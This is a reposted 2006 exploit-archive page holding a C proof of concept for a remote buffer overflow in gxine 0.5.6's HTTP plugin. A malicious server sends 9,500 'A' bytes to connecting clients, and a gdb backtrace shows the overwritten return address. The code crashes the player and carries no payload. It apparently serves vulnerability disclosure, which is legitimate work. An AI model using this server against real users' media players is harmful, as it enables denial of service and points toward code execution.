首页 | 安全文章 | 安全工具 | Exploits | 本站原创 | 关于我们 | 网站地图 | 安全论坛
  当前位置:主页>安全文章>文章资料>Exploits>文章内容
gxine 0.5.6 (HTTP Plugin) Remote Buffer Overflow PoC
来源:fbossi[at]netcomm[dot]com[dot]ar 作者:Federico 发布时间:2006-06-01  

//////////////////////////////////////////////////////
// gxine - HTTP Plugin Remote Buffer Overflow PoC
/////////////////////////////////////////////////////
//
// Federico L. Bossi Bonin
// fbossi[at]netcomm[dot]com[dot]ar
/////////////////////////////////////////////////////

// TESTED on gxine 0.5.6
////////////////////////

// 0xb78eccc7 in free () from /lib/tls/libc.so.6
// (gdb) backtrace
// #0 0xb78eccc7 in free () from /lib/tls/libc.so.6
// #1 0xb7438fc8 in ?? () from /usr/lib/xine/plugins/1.1.1/xineplug_inp_http.so
// #2 0x41414141 in ?? ()
// #3 0xb7f42164 in ?? () from /usr/lib/libxine.so.1
// #4 0x080b1810 in ?? ()
// #5 0xb7f0e635 in xine_open () from /usr/lib/libxine.so.1
// #6 0xb7f3967f in ?? () from /usr/lib/libxine.so.1
// #7 0x0877c084 in ?? ()
// #8 0x0930a931 in ?? ()
// #9 0x080880a2 in defs.3 ()
// #10 0xb0088478 in ?? ()
// #11 0x00000000 in ?? ()

#include <stdio.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <netinet/in.h>
#define PORT 81
#define LEN 9500

void shoot(int);

int main() {
struct sockaddr_in srv_addr, client;
int len,pid,sockfd,sock;

sockfd = socket(AF_INET, SOCK_STREAM, 0);

if (sockfd < 0) {
perror("error socket()");
exit(1);
}

bzero((char *) &srv_addr, sizeof(srv_addr));
srv_addr.sin_family = AF_INET;
srv_addr.sin_addr.s_addr = INADDR_ANY;
srv_addr.sin_port = htons(PORT);

if (bind(sockfd, (struct sockaddr *) &srv_addr,sizeof(srv_addr)) < 0) {
perror("error bind()");
exit(1);
}

printf("Listening on port %i\n",PORT);

listen(sockfd,5);
len = sizeof(client);

while (1) {
sock = accept(sockfd, (struct sockaddr *) &client, &len);
if (sock < 0) {
perror("error accept()");
exit(1);
}

pid = fork();
if (pid < 0) {
perror("fork()");
exit(1);
}
if (pid == 0) {
close(sockfd);
printf("Conection from %s\n",inet_ntoa(client.sin_addr));
shoot(sock);
exit(0);
}
else close(sock);
}
return 0;
}

void shoot (int sock) {
int i;
for (i=0 ; i < LEN ; i++) {
write(sock,"\x41",1);
}

}



 
[推荐] [评论(0条)] [返回顶部] [打印本页] [关闭窗口]  
匿名评论
评论内容:(不能超过250字,需审核后才会公布,请自觉遵守互联网相关政策法规。
 §最新评论:
  热点文章
·CVE-2012-0217 Intel sysret exp
·Linux Kernel 2.6.32 Local Root
·Array Networks vxAG / xAPV Pri
·Novell NetIQ Privileged User M
·Array Networks vAPV / vxAG Cod
·Excel SLYK Format Parsing Buff
·PhpInclude.Worm - PHP Scripts
·Apache 2.2.0 - 2.2.11 Remote e
·VideoScript 3.0 <= 4.0.1.50 Of
·Yahoo! Messenger Webcam 8.1 Ac
·Family Connections <= 1.8.2 Re
·Joomla Component EasyBook 1.1
  相关文章
·Speedy ASP Forum (profileupdat
·pppBlog <= 0.3.8 (randompic
·Eggblog <= 3.x Remote (SQL
·MS Windows XP/w2k3 (Explorer.e
·MS Internet Explorer (HTML Tag
·TinyPHP Forum <= 3.6 (profi
·WordPress <= 2.0.2 (cache)
·aspWebLinks 2.0 Remote SQL Inj
·Novell eDirectory 8.8 Long URI
·LifeType <= 1.0.4 SQL Injec
·Drupal <= 4.7 (attachment m
·FunkBoard CF0.71 (profile.php)
  推荐广告
CopyRight © 2002-2022 VFocuS.Net All Rights Reserved